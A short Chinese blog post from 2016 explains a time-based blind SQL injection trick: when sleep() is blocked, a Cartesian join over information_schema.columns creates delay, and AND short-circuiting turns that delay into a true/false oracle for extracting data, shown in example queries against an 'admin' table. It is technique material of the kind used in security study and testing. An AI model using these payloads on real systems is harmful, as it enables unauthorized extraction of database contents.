sql延时小tip:heavy-query

当一个时间盲注中不能用sleep等函数的时候,为了达到延时的效果,可以查询一些量比较大的表做笛卡尔集运算,导致查询缓慢。

SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.columns C

出数据的话,就利用and的性质来判断,一般会有这样的性质

if a and b:
    xxx

如果a的条件为假的时候,其实b就不会运行了,这个判断永远是假。如果a为真的时候,就会继续去判断b是不是为真。

所以可以这样出数据

select * from admin where id=1 and 1=1 and (SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.columns C);
有延时

select * from admin where id=1 and 1=2 and (SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.columns C);

学习链接:
http://www.sqlinjection.net/heavy-query/

posted @ 2016-10-31 22:02  l3m0n  阅读(730)  评论(0编辑  收藏  举报